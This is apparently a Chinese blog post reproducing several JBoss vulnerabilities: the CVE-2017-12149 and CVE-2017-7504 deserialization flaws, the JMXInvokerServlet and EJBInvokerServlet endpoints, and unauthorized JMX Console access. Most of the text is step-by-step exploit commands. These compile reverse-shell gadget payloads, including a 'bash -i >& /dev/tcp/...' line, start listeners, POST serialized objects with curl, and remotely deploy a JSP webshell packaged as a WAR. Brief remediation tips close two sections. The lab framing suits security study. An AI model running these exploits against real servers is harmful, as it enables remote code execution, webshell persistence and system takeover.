jboss常见漏洞复现

JBoss 5.x/6.x 反序列化漏洞( CVE-2017-12149 )

验证: 访问/invoker/readonly,如果返回 500 ,说明页面存在,此页面存在反序列化漏洞。
jboss常见漏洞复现_第1张图片

利用工具:JavaDeserH2HC
步骤:
1.先编译

# 我们选择一个 Gadget : ReverseShellCommonsCollectionsHashMap ,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2.设置反弹的IP和端口:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.105:8888 # ip 是 nc 所在的 ip 
# 这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址

3.本机进行监听

nv -lvvp 8888

4.再打开另一个控制台,运行如下curl命令

curl http://192.168.0.100:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.成功反弹shell

JBoss JMXInvokerServlet 反序列化漏洞

验证: 访问 /invoker/JMXInvokerServlet,返回如下,说明接口开放,此接口存在反序列化漏洞。
jboss常见漏洞复现_第2张图片

这里直接利用 CVE-2017-12149 生成的 ser ,发送到 /invoker/JMXInvokerServlet接口中。

也可以直接利用工具检测:工具下载地址

# 运行工具即可
java -jar DeserializeExploit.jar

JBoss EJBInvokerServlet 反序列化漏洞

验证: 访问 /invoker/EJBInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。
jboss常见漏洞复现_第3张图片

这里直接利用 CVE-2017-12149 生成的 ser ,发送到 /invoker/EJBInvokerServlet 接口中

修复建议

  1. 不需要ttp-invoker.sar组件的用户可直接删除此组件
  2. 或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:/*

JBoss <=4.x JBossMQ JMS 反序列化漏洞( CVE-2017-7504 )

利用工具:JavaDeserH2HC
步骤:
1.先编译

# 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #编译 

2.设置反弹的IP和端口:

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.0.105/1234 0>&1"       #ser全称serialize,序列化恶意数据至文件。

3.本机进行监听

nv -lvvp 1234

4.再打开另一个控制台,运行如下curl命令

#该ser文件作为请求数据主体发送如下数据包
curl http://192.168.0.100:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser  # --data-binary 意为以二进制的方式post数据

5.成功反弹shell

JMX Console 未授权访问

漏洞描述

未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件。

环境搭建

使用vulhub

cd vulhub/jboss/CVE-2017-7504/
docker-compose up -d

# 浏览器访问
复现

1.未授权访问测试(无无需认证进入入控制⻚页面面)

http://192.168.0.100:8080/
# 进入控制页 JMX Console
http://192.168.0.100:8080/jmx-console/ 

jboss常见漏洞复现_第4张图片

2.点击jboss.deployment进入应用部署页面
jboss常见漏洞复现_第5张图片

3.使用apache搭建远程木马服务器(这里在kali上搭建)

# war马的制作方式:https://www.peekeyes.com/2020/01/13/%E5%88%B6%E4%BD%9Cwar%E6%9C%A8%E9%A9%AC%E5%B9%B6%E4%B8%94%E6%8B%BF%E4%B8%8Bwebshell/
jar cvf shell.war shell.jsp

4.通过addurl参数进行木马的远程部署

地址写远程服务器war马的地址

jboss常见漏洞复现_第6张图片

成功部署
jboss常见漏洞复现_第7张图片

5.连接木马

http://192.168.0.100:8080/shell/shell.jsp

jboss常见漏洞复现_第8张图片

防护
  • 对jmx控制页面访问添加访问验证。
  • 进行JMX Console 安全配置。

你可能感兴趣的:(security,jboss,漏洞复现,未授权访问,中间件漏洞)